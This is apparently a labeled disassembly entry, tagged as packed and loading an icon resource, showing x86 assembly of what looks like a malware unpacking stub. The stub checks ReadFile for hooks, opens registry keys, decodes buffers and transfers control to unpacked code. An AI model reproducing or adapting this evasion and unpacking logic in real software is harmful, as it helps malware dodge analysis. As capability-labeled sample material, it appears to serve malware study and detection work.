Function at 0x401480
Capabilities:
Inspect load icon resource
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf4
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x9c], 4
mov dword [ebp - 0x84], 0x80000000
mov dword [ebp - 0x98], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x16], 0x6a
mov byte [ebp - 0x29], 0x8b
mov byte [ebp - 0x15], 0x55
mov byte [ebp - 0x2a], 0xff
pushal
lea ecx, [ebp - 0x80]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0x22b
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x4014ec
xor eax, eax
jmp 0x40184e
mov dword [ebp - 0xec], str.SOFTWARE44asses
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x90], 0x64
mov dword [ebp - 0x14], 0x1e
mov edx, dword [ebp - 0x30]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x16]
cmp eax, ecx
je 0x401554
mov edx, dword [ebp - 0x30]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x29]
cmp eax, ecx
je 0x401554
mov edx, dword [ebp - 0x30]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x15]
cmp eax, ecx
je 0x401554
mov edx, dword [ebp - 0x30]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2a]
cmp eax, ecx
jne 0x401576
mov dword [ebp - 0xf0], 0x40b054
mov dword [ebp - 0xf4], 0x40b058
mov edx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [0x43526c], edx
jmp 0x401596
push 0xb
push 0xb
call fcn.00401260
add esp, 8
push 0xb
call fcn.00401480
add esp, 4
push 1
push 1
call dword [sym.imp.USER32.dll_LoadIconW]
mov eax, 0x43
mov ecx, dword [ebp - 0xec]
mov word [ecx + 0x12], ax
mov edx, 0x6c
mov eax, dword [ebp - 0xec]
mov word [eax + 0x14], dx
lea ecx, [ebp - 0x24]
push ecx
push 1
push 0
mov edx, dword [ebp - 0xec]
push edx
push 0x80000002
call dword [0x43526c]
test eax, eax
je 0x4015d9
xor eax, eax
jmp 0x40184e
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push str.clsid0003000d_0000_0000_c000_000000000046_treatas
mov ecx, dword [ebp - 0x24]
push ecx
call dword [0x43526c]
test eax, eax
je 0x4015fb
xor eax, eax
jmp 0x40184e
push 1
mov edx, dword [0x435268]
push edx
call fcn.004019d0
add esp, 8
mov dword [0x435278], eax
mov eax, dword [0x435278]
push eax
call fcn.00401890
add esp, 4
mov dword [ebp - 0x94], eax
mov ecx, dword [0x435278]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [0x435278]
jae 0x40169d
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x90]
push ecx
call fcn.004012c0
add esp, 8
mov dword [ebp - 0x88], eax
mov edx, dword [ebp - 0x88]
push edx
mov eax, dword [0x435268]
add eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x94]
add ecx, dword [ebp - 4]
push ecx
call fcn.00401030
add esp, 0xc
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x90]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x90]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x88]
mov dword [ebp - 0x38], ecx
jmp 0x40162e
mov edx, dword [0x435278]
push edx
mov eax, dword [ebp - 0x94]
push eax
call fcn.00401460
add esp, 8
mov ecx, dword [ebp + 8]
mov dword [0x43525c], ecx
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
push 2
mov edx, dword [0x435268]
push edx
call fcn.004019d0
add esp, 8
mov dword [0x435278], eax
mov eax, dword [0x435278]
push eax
call fcn.00401890
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x435278]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [0x435278]
jae 0x401766
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x90]
push ecx
call fcn.004012c0
add esp, 8
mov dword [ebp - 0x88], eax
mov edx, dword [ebp - 0x88]
push edx
mov eax, dword [0x435268]
add eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 4]
push ecx
call fcn.00401030
add esp, 0xc
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x90]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x90]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x88]
mov dword [ebp - 0x38], ecx
jmp 0x4016fa
mov edx, dword [0x435278]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00401460
add esp, 8
mov dword [ebp - 0xa0], 0x4011f0
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x1c]
mov dword [ecx], edx
mov dword [ebp - 0x9c], 0x5b000
mov eax, dword [ebp - 0x9c]
push eax
call fcn.00401890
add esp, 4
mov dword [0x435244], eax
push 0x1e500
mov ecx, dword [ebp - 0x94]
push ecx
mov edx, dword [0x435244]
add edx, 0x200
push edx
call fcn.00401030
add esp, 0xc
call fcn.00401370
mov dword [ebp - 0x9c], eax
mov eax, dword [0x435244]
sub eax, dword [ebp - 0x9c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [0x435244]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00401960
add esp, 0xc
mov edx, dword [0x435244]
add edx, 0x1e3c0
mov dword [0x435248], edx
popal
push 0x501094
mov eax, dword [ebp - 0xa0]
mov ecx, esp
mov edx, 0x1e
mov edi, edi
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, edx
mov edi, edi
mov edi, edi
mov edi, edi
mov edx, ecx
sub edx, 0x3e7
jmp 0x401841
mov dword [edx + 0x3e7], eax
mov edi, edi
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret